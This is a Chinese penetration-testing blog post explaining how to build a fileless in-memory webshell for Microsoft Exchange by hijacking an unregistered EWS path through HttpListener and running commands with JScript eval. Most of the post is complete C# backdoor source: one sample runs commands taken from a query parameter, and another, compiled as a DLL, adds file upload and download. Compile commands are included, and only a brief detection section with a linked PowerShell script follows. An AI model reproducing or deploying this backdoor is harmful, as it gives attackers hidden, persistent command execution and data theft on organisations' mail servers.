Good in study, attitude and health

渗透基础——Exchange一句话后门的进一步实现

0x00 前言


在之前的文章《渗透基础——Exchange一句话后门的实现》《渗透基础——Exchange一句话后门的扩展》介绍了通过Webshell内存加载.net程序集的方法。

如果同其他技术相结合,可以达到意想不到的效果。

本文仅在技术研究的角度点到为止,开源一份简单的测试代码,结合利用思路给出防御建议。

0x01 简介


本文将要介绍以下内容:

  • 思路启发
  • 开源代码
  • 检测方法

0x02 思路启发


1.Exchange的端口复用

参考资料:

http://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html

https://docs.microsoft.com/en-us/dotnet/api/system.net.httplistener?view=net-5.0

通过调用HTTP API进行端口复用,劫持EWS某个未被注册的端点供外部访问

这种方法可以在Exchange下建立一个监听器,执行提供的命令

2.通过C Sharp调用JScript

参考资料:

https://peterjson.medium.com/some-notes-about-microsoft-exchange-deserialization-rce-cve-2021-42321-110d04e8852

https://docs.microsoft.com/en-us/dotnet/api/microsoft.jscript.vsa?view=netframework-4.8

示例代码test1.cs的内容如下:

using System;
namespace test
{
    public class Program
    {                   
        public static void Main(string[] args)
        {
            string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c whoami \").stdout.readall()";
            Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
            code = System.Text.Encoding.UTF8.GetString(System.Text.Encoding.UTF8.GetBytes(code));
            object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
            Console.WriteLine(obj);
        }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test1.cs

3.Exchange的端口复用 + 通过C Sharp调用JScript

示例代码test2.cs的内容如下:

using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;

namespace test
{
    public class test
    {
        static void Main(string[] args)
        {
          new Thread(Listen).Start();
        }
        static void Listen()
        {
        try
        {
            if (!HttpListener.IsSupported)
            {
                return;
            }
            HttpListener listener = new HttpListener();
            listener.Prefixes.Add("https://*:443/ews/test/");
            listener.Start();
            while (true)
            {
                HttpListenerContext context = listener.GetContext();
                HttpListenerRequest request = context.Request;
                HttpListenerResponse response = context.Response;
                Stream stm = null ;
                string cmd=request.QueryString["pass"];
                Console.WriteLine(cmd);
                if(!string.IsNullOrEmpty(cmd))
                {
                    try
                    {
                        Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
                        cmd = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(cmd));
                        object obj = Microsoft.JScript.Eval.JScriptEvaluate(cmd, vsaEngine);
                        byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);           
                        response.StatusCode = 200;
                        response.ContentLength64 = data.Length;
                        stm = response.OutputStream;
                        stm.Write(data, 0, data.Length);
                    }
                    catch 
                    { 
                        response.StatusCode = 404; 
                    }
                    finally
                    {
                        if(stm!=null)
                        {
                            stm.Close();
                        }
                    }
                }
                else
                {
                    response.StatusCode = 404;
                    response.OutputStream.Close();
                }
                
            }
        }
        catch
        {
        }
    }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:Microsoft.JScript.dll test2.cs

以上代码通过调用JScript执行cmd命令,简单实现了Webshell的功能

4.内存加载.net程序集

将以上代码按照.net程序集的格式编译成dll,再通过Webshell进行内存加载,那么就能够实现一个内存Webshell

示例代码tes3.cs的内容如下:

using System;
using System.Web;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;
using System.Text;
using System.IO;
using System.Security.Cryptography;
using System.Net;
using System.Reflection;
using System.Collections;
using System.Collections.Generic;
using System.DirectoryServices;

namespace EWS.TEST.BACKDOOR
{
    public class TEST
    {
        static void Main(string[] args)
        {
          new Thread(Listen).Start();
        }
        static void Listen()
        {
            try
            {
                if (!HttpListener.IsSupported)
                {
                    return;
                }
                HttpListener listener = new HttpListener();
                listener.Prefixes.Add("https://*:443/ews/test/");
                listener.Start();
                while (true)
                {
                    HttpListenerContext context = listener.GetContext();
                    HttpListenerRequest request = context.Request;
                    HttpListenerResponse response = context.Response;
                    Stream stm = null ;
                    string cmd = request.QueryString["cmd"];
                    string upload = request.QueryString["upload"];
                    string path = request.QueryString["path"];
                    string download = request.QueryString["download"];                          
                    if(string.IsNullOrEmpty(cmd) && string.IsNullOrEmpty(upload) && string.IsNullOrEmpty(download) && string.IsNullOrEmpty(path))
                    {
                        response.StatusCode = 404;
                        response.OutputStream.Close();
                    }
                    else
                    {
                        if(!string.IsNullOrEmpty(upload) && !string.IsNullOrEmpty(path))
                        {
                            byte[] temp = Convert.FromBase64String(path);
                            path = System.Text.Encoding.ASCII.GetString(temp);
                            byte[] data = Convert.FromBase64String(upload);
                            FileStream fs = new FileStream(path, FileMode.Create);
                            fs.Write(data, 0, data.Length);
                            fs.Flush();
                            fs.Close();
                            response.StatusCode = 200;
                            response.OutputStream.Close(); 
                        }
                        else if(!string.IsNullOrEmpty(download))
                        {
                            byte[] temp = Convert.FromBase64String(download);
                            download = System.Text.Encoding.ASCII.GetString(temp);
                            byte[] buffer = System.IO.File.ReadAllBytes(download);
                            string base64str = Convert.ToBase64String(buffer);
                            byte[] data = System.Text.Encoding.UTF8.GetBytes(base64str);
                            response.StatusCode = 200;
                            response.ContentLength64 = data.Length;
                            stm = response.OutputStream;
                            stm.Write(data, 0, data.Length);
                        }
                        else if(!string.IsNullOrEmpty(cmd))
                        {
                            string code = "new ActiveXObject(\"WScript.Shell\").exec(\"cmd.exe /c " + cmd + "\").stdout.readall()";
                            try
                            {
                                Microsoft.JScript.Vsa.VsaEngine vsaEngine = Microsoft.JScript.Vsa.VsaEngine.CreateEngine();
                                code = System.Text.Encoding.ASCII.GetString(System.Text.Encoding.UTF8.GetBytes(code));
                                object obj = Microsoft.JScript.Eval.JScriptEvaluate(code, vsaEngine);
                                byte[] data = System.Text.Encoding.UTF8.GetBytes((string) obj);           
                                response.StatusCode = 200;
                                response.ContentLength64 = data.Length;
                                stm = response.OutputStream;
                                stm.Write(data, 0, data.Length);
                            }
                            catch 
                            { 
                                response.StatusCode = 404; 
                            }
                            finally
                            {
                                if(stm!=null)
                                {
                                    stm.Close();
                                }
                            }
                        }
                        else
                        {
                            response.StatusCode = 404;
                            response.OutputStream.Close();
                        }
                    }             
                }
            }
            catch
            {
            }
        }
    }
}

编译:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /r:Microsoft.JScript.dll test3.cs

生成的test3.dll即为实现内存Webshell的Payload数据,支持命令执行,文件上传和下载

0x03 检测方法


这种内存Webshell不需要文件落地,会写入进程内存,无法调用Assembly.UnLoad清除,只能重启Exchange

检测方法:根据Assembly.Load的内存特性进行检查

参考资料:

https://www.elastic.co/blog/hunting-memory-net-attacks

可供参考的检测脚本:

https://gist.github.com/dezhub/2875fa6dc78083cedeab10abc551cb58

检测命令:

powershell -ep bypass -c "Import-Module ./Get-ClrReflection.ps1;Get-ClrReflection"

0x04 小结


本文介绍了Exchange内存Webshell的实现思路,给出防御检测的建议。


LEAVE A REPLY